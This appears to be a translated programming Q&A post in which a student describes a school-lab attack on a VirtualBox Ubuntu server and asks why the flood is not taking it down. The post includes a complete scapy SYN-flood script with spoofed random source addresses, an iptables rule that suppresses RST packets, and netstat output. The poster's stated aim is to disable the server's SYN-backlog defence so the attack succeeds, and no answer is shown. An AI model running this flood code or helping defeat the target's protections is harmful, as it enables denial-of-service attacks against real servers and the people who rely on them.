Ubuntu服务器限制为5个SYN_RECV

时间:2019-07-10 11:28:31

标签: networking tcp scapy netstat ddos

对于一个学校项目,我正在尝试使用带有scapy的Ubuntu桌面18.04在Ubuntu服务器(18.04)上执行DOS。它们都作为VM放置在VirtualBox上。 在服务器端,我在端口80上有一个python SimpleHTTPServer,它可通过台式机通过浏览器ping通和访问。 我正在尝试使用以下代码进行DoSing:

#!/usr/bin/env python
import socket, random, sys
from scapy.all import *
def sendSYN(target, port):
    #creating packet
    # insert IP header fields
    tcp = TCP()
    ip = IP()
    #set source IP as random valid IP
    ip.src = "%i.%i.%i.%i" % (random.randint(1,254), random.randint(1,254), random.randint(1,254), random.randint(1,254))
    ip.dst = target
    # insert TCP header fields
    tcp = TCP()
    #set source port as random valid port
    tcp.sport = random.randint(1,65535)
    tcp.dport = port
    #set SYN flag
    tcp.flags = 'S'
    send(ip/tcp)
    return ;
#control arguments
if len(sys.argv) != 3:
    print("Few argument: %s miss IP or miss PORT" % sys.argv[0])
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
count = 0
print("Launch SYNFLOOD attack at %s:%i with SYN packets." % (target, port))
while 1:
    #call SYNFlood attack
    sendSYN(target,port)
    count += 1
    print("Total packets sent: %i" % count)
    print("==========================================")

基本上在用户指定的端口上向目标计算机发送无限数量的SYN请求。它的用法是:sudo python pythonDOS.py <target IP> <target port>。 在启动此命令之前,我在攻击机上执行sudo iptables -A OUTPUT -p tcp -s <attacker IP> RST RST -j DROP,以防止内核发送RST请求。 攻击似乎有效:在攻击者计算机上的Wireshark上,我可以看到数据包已正确发送,但是服务器没有关闭。 在目标服务器上运行netstat -antp | grep 80,我得到以下输出:

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.1.51:80         35.206.32.111:50544     SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         138.221.76.4:24171      SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         164.253.235.187:64186   SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         55.107.244.119:17977    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         85.158.134.238:37513    SYN_RECV    -                   

如果我在几秒钟后重新运行该命令:

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.1.51:80         100.58.218.121:10306    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         35.206.32.111:50544     SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         47.206.177.213:39759    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         55.107.244.119:17977    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         85.158.134.238:37513    SYN_RECV    -                   

尽管我正在攻击者计算机上执行数百个此类请求,但服务器似乎最多可以处理5个SYN_RECV,因此我认为这就是为什么我无法DOS服务器的原因。 ufw被禁用。我的目标是禁用或了解服务器上正在发生的事情,并禁用它以执行DOS攻击。 感谢您的任何帮助。

更新:我在目标服务器上安装了tshark,从中我可以看到我正在发送的所有数据包都已在服务器上接收到,因此它们不会在两个虚拟机之间的通信中丢失。同样在运行netstat -i时,我看到没有RX_DROP

0 个答案:

没有答案